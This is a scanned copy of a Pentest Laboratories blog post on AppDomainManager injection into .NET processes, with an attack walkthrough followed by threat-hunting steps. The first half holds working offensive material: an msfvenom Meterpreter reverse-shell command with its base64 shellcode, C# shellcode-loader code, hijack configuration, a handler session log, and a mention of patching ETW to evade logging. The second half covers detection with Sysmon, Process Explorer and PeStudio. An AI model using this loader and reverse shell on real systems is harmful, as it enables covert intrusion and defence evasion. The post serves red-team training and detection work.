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Microsoft .NET framework is being heavily utilized by threat actors and red teams for defense evasion and staying
off the radar during operations. Every .NET binary contains application domains where assemblies are loaded in a
safe manner. The AppDomainManager object can be used to create new ApplicationDomains inside a .NET

process.

From the perspective of red teaming this allows a .NET binary to be injected with a custom ApplicationDomain
that will execute arbitrary code inside a process. Casey Smith is working on this domain since 2017 and recently
released a proof of concept called GhostLoader which implements the technique of AppDomainManager injection
in order to evade detection from Sysmon and other security tools that can identify ImageL.oad events. This

technique requires the following:

1. A Base64 Payload
2. ADLL
3. A .NET Binary

Malicious
Assembly

AppDomainManager Injection

Metasploit Framework utility “msfvenom” can be used to generate various types of payloads include shellcode in

raw format. The “base64” utility can be utilized to convert the payload into base64 format.

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=<IP> LPORT=<PORT>
baseb4 payload64.bin
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:~# msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payloadé4.bin LHOS
T=10.0.0.13 LPORT=4444
[-] No platform was selected, choosing Msf ::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Saved as: payload64.bin

:~# baseb4 payloadb4.bin
/E1D5PD0oZAAAAEFRQVBSUVZIMAI1LSItSYEIiLUhhIi1IgSItyUEgPt@pKTTHISDHArDxhfAISIEHB
yQ1BACHi7VIBUUiLUiCLQiXxTAdBmgXgYCwIPhXIAAACLEIgAAABThcB@Z@gBOFCLSBhEi0AgSQHQ
41Z1/81BizSISAHWTTHISDHArEHBYQ1BACE44HXXTANMIARFOdF12FhEi@AKSQHQZKGLDEREL@AC
SQHQQYsSEiEgBOEFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IvndzM182zMgAAQVZ]
ieZIgeygAQAASYn1SbwCABFcCgAADUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFLBuimAawD/1WoK
QVSQUE@xyU@xwE j/wEiJwkj/wEiIwUG66g/f4P/VSInHahBBWEYJ4kil+UG6maVeYf/VhcBaCkn/
znX16IMAAABIg+wQSIniTTHIagRBWEiJ+UG6AtNnIX//Vg/gAFLVIgB8QgXon2akBBWWEAEAAAQVhI
ifIIMc1BulikU+X/1UiJwemIx@0xyUmI8ELI2kiJ+UGBALNIX//Vg/gAfShYQVdZaABAAABBWGOA
WkG6Cy8PMP/VV11BunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScFCBLWiVV/V

4[]

msfvenom — Generate Base64 Payload

The C# file uses the AppDomainManager class in order to create a new AppDomain that will initially generate a
message box. Then the VirtualAlloc() function will allocate a segment in the memory of the process and the

CreateThread() will execute the code in the virtual address space of the process.

1 using System;
2 using System.EnterpriseServices;
3 using System.Runtime.InteropServices;

4 public sealed class MyAppDomainManager : AppDomainManager

5 {
6 public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
7 {
8 System.Windows.Forms.MessageBox.Show( "AppDomainManager Injection - Pentest
Laboratories" );
9
bool res = ClassExample.Execute();
10
return ;
11
}
12
}
13
public class ClassExample
14
{
15
[D1lImport( "kernel32" )]
16
private static extern IntPtr VirtualAlloc(UInt32 1pStartAddr, UInt32 size, UInt32
17

flAllocationType, UInt32 flProtect);
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[D1lImport( "kernel32" )]

private static extern IntPtr CreateThread(
UInt32 1pThreadAttributes,

UInt32 dwStackSize,

IntPtr 1pStartAddress,

IntPtr param,

UInt32 dwCreationFlags,

ref UInt32 1pThreadId

)i

[D1lImport( "kernel32" )]

private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,

UInt32 dwMilliseconds

)i

public static bool Execute()

byte [] installercode = System.Convert.FromBase64String( "<Insert Payload>" );
IntPtr funcAddr = VirtualAlloc(@, (UInt32)installercode.Length, 0x1000, 0x40);
Marshal.Copy(installercode, @, (IntPtr)(funcAddr), installercode.length);

IntPtr hThread = IntPtr.Zero;

UInt32 threadId = 0;

IntPtr pinfo = IntPtr.Zero;

hThread = CreateThread(@, @, funcAddr, pinfo, @, ref threadld);
WaitForSingleObject(hThread, @xFFFFFFFF);

return true ;
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44}
45
46
47
48
49
50
51

52

The file (uevmonitor.cs) can be converted into a DLL by using the Microsoft Visual C# Compiler which is part of
the .NET framework. However the default AppDomainManager must be replaced with the name of the assembly

and the type which defines the custom class created.

csc.exe /target:library /out:uevmonitor.dll uevmonitor.cs

set APPDOMAIN_MANAGER_ASM=uevmonitor, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager

set COMPLUS_Version=v4.0.30319

Culture=neutral, P

AppDomainManager Injection — Compile C# File

An alternative option to avoid execution of the commands related to the AppDomainManager values would be the
usage of config file that will instruct the .NET binary about the arbitrary assembly that needs to load upon
execution, the path and the class. The config file should be dropped in the same directory with the .NET binary
that will load the assembly.

1 < configuration >
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2 < runtime >
3 < assemblyBinding xmlns = "urn:schemas-microsoft-com:asm.v1" >
4 < probing privatePath = "C:\Tools" />
5 </ assemblyBinding >
6 < appDomainManagerAssembly value = "uevmonitor, Version=0.0.0.0, Culture=neutral,
, PublicKeyToken=null" />
6 < appDomainManagerType value = "MyAppDomainManager" />
</ runtime >
9

</ configuration >

Executing the legitimate .NET binary will load also the arbitrary DLL (uevmonitor.dll) which will create initially

a message box which will indicate that the injection was successful.

AppDomainManager Injection - Pentest Laboratories

AppDomainManager Injection — Message Box

When the message box is closed the base64 payload will executed in the memory space of the .NET binary and a

session with Meterpreter or with any other Command and Control (C2) framework will established.

Starting persistent handler(s) ...
msf5 > use exploit/multi/handler
msfS exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msfS exploit( ) > set LHOST 10.0.0.13
LHOST = 10.0.0.13
msf5 exploit( ) > set LPORT 4444
LPORT = 4hik
msf5 exploit( ) > exploit

Started reverse TCP handler on 10.0.0.13:4444

Sending stage (206403 bytes) to 10.0.0.15

Meterpreter session 1 opened (10.0.0.13:4444 — 10.0.0.15:49675) at 2020-05-22 11:19:
05 -0400

meterpreter > getpid

Current pid: 2912

meterpreter > getuid

Server username: OPREKIN-PC\pentestlab
° meterpreter > i

AppDomainManager Injection — Meterpreter
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Opening ProcessExplorer will validate that the malicious DLL has been loaded inside a trusted Windows process.

splorer - Sysinternals: www.sysinternals.com [OPREKIN-PChpentestlab]

File Options View Process Find DLL Users Help

FIEIE LIl TEENTTY N o ] — il

Process CPU  Private Bytes Working Set PID  Description Company Mame
| camss.exe 050 1964 K 52K 484
=i winlogon exe 2744 K B40K 564
i ' fontdrvhost exe 4504 K 0K 740
i dwm.exe 135 145284 K 18612K 936
o 0 o ——
vmtoolsd exe 0.40 17560 K 3140 K 5004 VMware Tools Core Service  VMware, Inc.
=i | cmd.exe 3168K 0K 4752
| conhost.exe T044 K 0K 3152
=l [EH cmd exe: 2528 K 0K 1284 Windows Command Processor Microsoft Corporation
B conhost exe TAIEK 2716 K 3380 Console Window Host Microsoft Corparation
@pmeexpﬁdeue 459 19,196 K 8120 K 2336 Sysintemals Process Explorer  Sysintemals - www sysinter...
¢ FileHistory exe 0.12 17808 K 1736 K 2912 File History Microsoft Corparation
Name Description Company Name Fath
ucttbase dlil Microsoft® C Runtime Librany Microsoft Carparation C:\WindowsSystem32wicrtbase dil
ucttbase _cirl400.dl Microsoft® C Runtime Library Microsoft Corporation C:Windows'System32wcrtbase_cir0400 dll

uevmonitor dil C:\Tools wevmonitor.dil
user32.dll Multi-User Windows USER API Cli... Microsoft Corporation C:\Windows"System32'user32 dll

AppDomainManager Injection — Process Explorer

Since the file has been loaded through the AppDomain it will also appear in the .NET Assemblies tab.

| FileHistory.exe:2912 Properties

Threads TCR/IP Security Environment
Image Performance  Performance Graph — Disk and Metwork  GPU Graph
MET Assemblies .MET Performance Strings
Structure Path
= CLR v4.0.30315.0
= Appdomain: SharedDomain
mscorib C:\Windows assembly MNativelmage
= Appdomain: Default Domain
System C:Windows \assembly\MNativelmage
System.Drawing C:Windows \assembly Mativelmage
System.Windows.Forms C:\Windows assembly Nativelmage
Levmonitor C:ATools'wevmaonitor.dll

FileHistory — Process Properties

The identification of the loaded assemblies is performed through the Event Tracing for Windows (ETW) which is

implemented at the kernel level of the operating system. However it is possible to patch the ntdll! EtwEventWrite

call in order to disable the ETW as it has been demonstrated by Adam Chester from MDSec in this article.
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B Command Prompt - ETW-Unhook.exe

n 16.0. ]
ation hts reserved.

mbly.Load will not be logged

Unhook ETW

The result will be that ETW events will not be logged and the “.NET Assemblies” tab will be blank.

reserved.

B ETW-Unhook.exe:6340 Properties O x

Threads TCP/fIP Security Environment
Image Performance  Performance Graph  Disk and Metwork  GPU Graph
JNET Assemblies \NET Performance Strings

Structure Flags Path

Process Explorer — .NET Assemblies

Threat Hunting

Modules (in this case a .dll file) which are loaded into a process are categorized in Sysmon with event ID 7. By
default this setting is disabled because it will generate a large number of events. However enabling the setting

could assist towards the detection of arbitrary DLL’s that are executed inside a process.

Sysmon installation is trivial and it doesn’t require a configuration file. However there are two configuration files
that could be used to detect ImageL.oaded Events (Event Type 7) either the StartL.ogging from Roberto

Rodriguez or the sysmonconfig that was released by SwiftOnSecurity.

Sysmonb4.exe -i StartlLogging.xml

.\Sysmon64.exe -accepteula -i .\sysmonconfig-export.xml
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Sysmon Installation PowerShell

Executing the following command will dump the current configuration of System Monitor. The Image loading

event is enabled when Sysmon is installed with one of the above configuration files.

Sysmonb4.exe -c

Thomas Garnier

TMPHASH

Sysmon Configuration

The Startl.ogging.xml configuration is designed to log all Image Loaded events except of the following common

utilities and programs.

Page 8 of 19


https://gist.github.com/Cyb3rWard0g/136481552d8845e52962534d1a4b8664

https://pentestlaboratories.com /2020/05 /26 /appdomainmanager-injection-and-detection/

< Imageload onmatch = "exclude" >
1 < Image condition = "image" >chrome.exe</ Image >
9 < Image condition = "image" >vmtoolsd.exe</ Image >
3 < Image condition = "image" >Sysmon.exe</ Image >
4 < Image condition = "image" >mmc.exe</ Image >
< Image condition = "is" >C:\Program Files

(x86)\Google\Update\GoogleUpdate.exe</ Image >

< Image condition "is" >C:\Windows\System32\taskeng.exe</ Image >

< Image condition = "is" >C:\Program Files\VMware\VMware

8 Tools\TPAutoConnect.exe</ Image >

9 < Image condition = "is" >C:\Program Files\Windows

Defender\NisSrv.exe</ Image >
10

< Image condition = "is" >C:\Program Files\Windows

1 Defender\MsMpEng.exe</ Image >

</ Imageload >

Filtering the results of Sysmon to display only events with ID 7 and performing a query to search for the DLL will
validate that the arbitrary DLL that was not captured.

Date and Time Source  EventID Task Category
22/05/2020 13:38:04 Sysmon 7 Imege loaded (rule: ImageLoad)
22/05/2020 13:38:04 Sysmon 7 Image loaded (rule: ImageLoad)
22/05/2020 13:38:04 Sysmon 7 Image loaded (rule: ImageLoad)
22/05/2020 13:38:04 Sysmon 7 Image loaded (rule: ImageLoad) Find what: uevmanitor.dil
22/05/2020 13:38:04 Sysmon 7 Image loaded (rule: ImageLoad)
22/05/2020 13:38:04 Sysmen 7 Image loaded (rule: ImageLoad)
22/05/2020 13:38:04 Sysmon 7 Imege loaded (rule: ImageLoad)
22/05/2020 13:38:04 Sysmon 7 Image loaded (rule: ImageLoad) [ [ %
[ 22/05/2020 13:38:04 Sysmon 7 Image loaded (rule: ImageLoad)
(DInformation  22/05/2020 13:38:04 Sysmon 7 Image loaded (rule: ImageLoad)
() Information  22/05/2020 13:38:04 Sysmon 7 Image loaded (rule: ImageLoad) 0 Searching from the selected event to the end of the list, there
=4 is no event that contains the specified string. To search all
(DInformation  22/05/2020 13:38:04 Sysmon 7 Imege loaded (rule: ImageLoad) events, select the first event in the list and run the search
(@) Information  22/05/2020 13:38:04 Sysmon 7 Image loaded (rule: ImageLoad) again
)Information  22/05/2020 13:38:04 Sysmon 7 Image loaded (rule: ImageLoad)
(7] 224052020 13:38:04. man 7_Imane Inaded (rule: Imanel nadl —
Event 7, Sysmon

General  Details

Image loaded:
Rulehame: -

UtcTime: 2020-05-22 20:38:04.299

ProcessGuid: {daJa7460-3824-5ecB-1202-000000000500}
Processid: 6108

Image: C:\Tools\FileHistory.exe

° ImagelLoaded: C:\Windows\System32\winmmbase.dil

Imagel.oaded Event — Sysmon

An alternative option to perform the query is to use PSGumShoe which is a Windows PowerShell module
developed by Carlos Perez that could be used in threat hunting and forensics activities. The module contains a
PowerShell script that can retrieve Sysmon Image Load events. Since Sysmon wasn’t able to capture that specific

event the result will be blank.
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1 Import-Module .\PSGumshoe.psm1

2 Get-SysmonImageloadEvent -ImagelLoaded "C:\Tools\uevmonitor.d1l"

PSGumShoe — Imagel.oaded Event

DLL files that are loaded into processes can be also retrieved with the Microsoft utility ListDIls. Attempting to

retrieve information about the arbitrary DLL that was loaded into the FileHistory process will fail.

B Administrator: Command Prompt

ark Russinovich

s were found.

Listdlls — uevmonitor.dll

However reviewing the memory of the process will display the base address region that the DLL has been loaded
with “PAGE_EXECUTE_WRITECOPY” (WCX) protection.
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£ FileHistory.exe (5936) Properties — O >
General Statistics Performance Threads Token Modules
MET performance GPU Disk and Metwork Comment
Memory Environment Handles MET assemblies
Hide free regions Strings... Refresh
Base address Size  Pro... Use 2
Ox2ce 7270000 4kB RW
Ox2ce 72800000 J24kE RW Heap (ID 1)
Ox2ce 72900000 4kB RW
Ox 20272910000 a4kB RW
 Ox2ce 72920000 32kB wWCX  C:VTools\uevmonitor.dll
Ox2ce72920... 4kB R C:\Tools\uevmanitor. dil
Ox2ce72921... 4kB C:\Tools\uevmanitor. dil
Ox2ce72922... 4kB R C:\Tools\uevmanitor, dil
Ox2ce72923... 4kB C:\Tools\uevmonitor, dil
Ox2ce72924... 4kB R C:\Tools\uevmonitor, dil
Ox2ce72925... 4kB C:\Tools\uevmonitor, dil
0x2ce72926... 4kB R C:\Tools\uevmonitor, dll
. Ox2ce72927... 4kB C:\Toals\uevmaonitor, dll

FileHistory — Memory Regions

Reviewing deeper the memory space of the process will lead to an increase length size in two memory regions.

This is where the message box content is stored and a Base64 string which contains the shellcode.
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B’ Results - FileHistory.exe (3956) — O .
326,856 results.
Address Length Result "
Ox2ce729224c4 3 System, Runtime. CompilerServices
Ox2ce7292249e4 31 CompilationRelaxationsAttribute
Ox2ce 72922504 29 RuntimeCompatibility Attribute
Ox2ce72922522 10 uevmanitor
Ox2ce7292252d 20 System. Windows.Forms
Ox 20272922542 10 MessageBox
Ox2ce7292254d 12 DialogResult
Ox2ce7292255F 30 System.Runtime. InteropServices
Ox2ce7292257e 18 DlllmportAttribute
Ox2ce729225a2 16 FromBaset45tring
Ox2ce 7292252 98 AppDomainManager Injection - Pent...
Ox2ce72922633 1350 JEDSPDozAAAAEFROVBSUVZIMAIIS, ..
Ox2ce 72922006 22 WrapMonExceptionThrows
0x2ce72922c52 11 _CorDlMain
Ox2ce72922c5e 11 mscoree.dll
0x2ce7292405e 30 V5 _VERSIOM_INFO
Ox2ce729240ba 22 VarFileInfo
Ox2ce729240da 22 Translation
Ox2ce729240f 23 StringFileInfo
Ox2ce7292413a 30 FileDescription
Ox2ce 72924166 22 FileVersion
Ox2ce 72924196 24 InternalMame o
Filter Save... Copy

FileHistory — Memory Address

The .NET assemblies tab also contain the loaded assemblies of the process and it could be considered during

threat hunting if ETW is not disabled as demonstrate in the example above.

Page 12 of 19



https://pentestlaboratories.com /2020/05 /26 /appdomainmanager-injection-and-detection/

& FileHistory.exe (5956) Properties — O >
General Statistics Performance Threads Token Meodules
MET performance GPU Disk and Metwaork Comment
Memory Environment Handles MET assemblies

Structure Path
% CLR w4.0.30319.0 . FileHistory.exe
% AppDomain: DefaultDomain
System C:\Windows\Microsoft. Met\assemblya
System.Drawing C:\Windows\Microsoft. Met\assemblya
System.Windows. Forms C:\Windows\Microsoft. Met\assemblya
uevmonitor C:\Tools\uevmanitor. dll

* AppDomain: SharedDomain
mscorlib = Cr\Windows\Microsoft. Met\assemblya

FileHistory .NET Assemblies

It is also a good practice to check whether the DLL has been loaded into other processes. In this case it is only

mapped to the “FileHistory.exe” process.

B Find Handles or DLLs *
Filter: | uevmonitor.dll | [Cregex
=
Process Type Mame Handle
FileHistory.exe (5956)  File C:\Tools\uevmonitor . dil 0x280
FileHistory exe (5956)  Section C:\Toolsuevmonitor, dll 0x288
FileHistory.exe (5956)  Mapped image C:\Toolsuevmonitor . dll Ox2ce7292...

FileHistory — Handles

The ModuleMonitor project uses the “Win32_ModuleLoadTrace” to monitor for modules loaded into processes
and has also the ability to detect CLR injection attacks. Even though that the DLL has been injected into the CLR

it doesn’t seem that the tool was able to catch this activity.
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Ed Administrator: Command Prompt - ModuleMonitor.exe -

ModuleMonitor

This is because the tool can identify CLR injection attacks based on the principle that the file is not a .NET
assembly. This is implemented by checking for the presence of the mscorlib (.NET class library). In this case the

file is a .NET binary and the mscorlib can be seen in the .NET Assemblies tab in the process properties.

1

2

3 if (parts[parts.Length - 1].Contains( "msco" ))

4 {

5 Process proc = Process.GetProcessById(( int ) trace.ProcessID);
6 if (!IsValidAssembly(proc.StartInfo.FileName))

7 {

8 Console.Writeline();

9 Console.WriteLine( "[!] CLR Injection has been detected!" );
10

11

Analyzing the file with PeStudio will identify that the DLL is using the “FromBase64String()” method which is
commonly used for encoding of shellcode. Other functions such as “VirtualAlloc()” (reserve region in the
memory) and “CreateThread()” (thread is executed in the virtual address space of the current process) are also

implemented and should lead to further investigation since most of the times are used in a malicious way.
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sizefbytes]  offset biacklist (1) int mitre-technique (0)  mitre-tactic (0}

0400000040
040000081
000000788

10 c00000268
ascii 2 e0000031C

pes studio — DLL Analysis

These functions can be also identified by observing the “Strings” tab of the DLL using process explorer.

4| uevmonitor.dil Properties — O X
Image Sfrings

Printable stings found in the scan:

«ctor ~
Virtual Alloc

Create Thread

Wait ForSingleObject

Execute

appDomaininfo

|pStart Addr

size

flAllocation Type

fIProtect

lp Thread Attributes

dw5Stack Size

|pStart Address

param

dwCreationFlags

[pThreadld

hHandle

dwhMillisecands

System.Runtime CompilerServices

CompilationRelaxations Attribute

RurtimeCompatibility Attribute

uevmaonitor

System Windows. Forms

Message Box

DialogResutt

Show

System.Runtime . InteropServices

Dl impart Attribute W
£ >

® Image () Memary o Endl

DLL — Printable Strings
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A uevmenitor.dll Properties - O >
Image Sfrings

Prirtable stings found in the scan:

[pThread Attributes e
dwStack Size

|pStart Address

param

dwCreation Flags

IpThreadld

hHandle

dwMilliseconds

System . Rurtime CompilerServices
CompilationRelaxations Attribute
RurtimeCompatibility Atribute
uevmonitor

System Windows . Forms
MessageBox

DialogResult

Show

System . Rurtime Interop Services
DlllmportAttribute

kemel32

Convert

FromBase&45tring

Marshal

Copy

Int Ptr

Fero

WrapMonException Throws
_CorDllMain

mecoree.dl W

< >

® Image () Memony [ Find

DLL - FromBase64String

Usage of these functions is a strong indication that something is executed in the memory space of the process even

though .NET binaries would not normally call these functions.
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87 FileHistory.exe (3292) (0x12f03a82000 - 0x1af03a33000)

00000430
oo0o04g0
00000470
00000450
00000450
000004a0
000004k0
000004co
0000044d0
00000420
000004£0
00000500
00000510
000o0s20
00000530
00000540
00000550
00000560
00Qa0as70
0000050
00000550
0000050
000005k0 (2=
000005c0
000005do
000005e0
000005£0

(28

72
74
&b
72
61
65
44
74
4]
70
6f
74
79
ae
g4
&7
-1+
75
72
41
33

€3

00 &3

Process Memory — FromBase64String

K]
[:¥]
(]
[ulu]
e

|7 FileHistory.exe (3292) (0x1af03a82000 - 0x1af03a23000)

00000el0
00000620
00000630
00000e40
00000650
00000660
0000o0e70
000006880
000006590 U
00000ez0
000006k0
000006c0
00000edo
00000620
000006£0
0000a700
0000a710
00000720
00000730
00000740

00000780
00000730
000007a0
000007k0

Anannnon

a0
a0
2f 00
TJa 00

51

0 4d 00

== =

h o o
[ R T I
=

w oo
[F =

o
-

=== =

wn

|
5

L S+ I
[=

an

| Re-read

ed

d

yEe.f1Frotect.lp
ThreadAttributes
.dw3tackSize.lps
tarthiddress.para
wm.dwlreaticnFlag
5.1pThreadId.hHa
ndle.dwMilliseco
nds.S5yster.Runti
me.CorpilerServi
ces.Corpilationk
elaxationshttrib
ute.Buntirelorpa
tikilityRttrikut
e.uevronitor.Sys
ter.Windows.Form
3.MessageBox.Lia
logResult.Show.S
y3tem.Buntime.In
teropServices.[l
lIrporthAttrikbute
Jkernel32.Conver
M Fror B & i

IntFtr.Zero..ch.
pF.p.L.C.M.&.1.0.
M.a.n.a.g.8.r. .
I.n.j.e.c.t.i.c.

Investigating the memory of the process would lead in the identification of the base64 payload.

£.3.t. .L.a.b.o.
r.a.t.0.r.i.e.s.

[ T s B e B I S o B R =

—

H.
N
L.
oIl o
SE
L.
-1i-
-H.

Payload in Memory

Finally any .NET binary that is communicating with an external host should raise suspicious about its legitimacy.
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P, FileHistory.exe:2912 Properties

Image  Performance  Performance Graph  Disk and Metwork  GPU Graph

MET Assemblies MET Perfarmance Strings
Threads TCR/IP Security Environment
Resolve addresses

F‘A Local Address Remote Addr... State
TCP oprekinpcpent... 10.0.0.13:4444 ESTABLISHED

FileHistory — Remote Connection

YouTube

An error occurred.

Unable to execute JavaScript.

VideoPress
Instagram

Conclusion

The method of loading malicious assemblies into .NET processes is not new and it is used widely in red teaming
scenarios that have a mature security operation center (SOC). It should be noted that this technique is not applied
only to the FileHistory but to every .NET binary that exists on the system and the DLL name and the path are
arbitrary which makes detection harder. Threat hunters should not rely on the assembly loading information but

they should attempt to identify suspicious indicators in the memory space of the .NET process.

If you are interested to learn more about how Pentest Laboratories and our custom cyber attack scenarios can

improve your organisation readiness against cyber threats please contact us.
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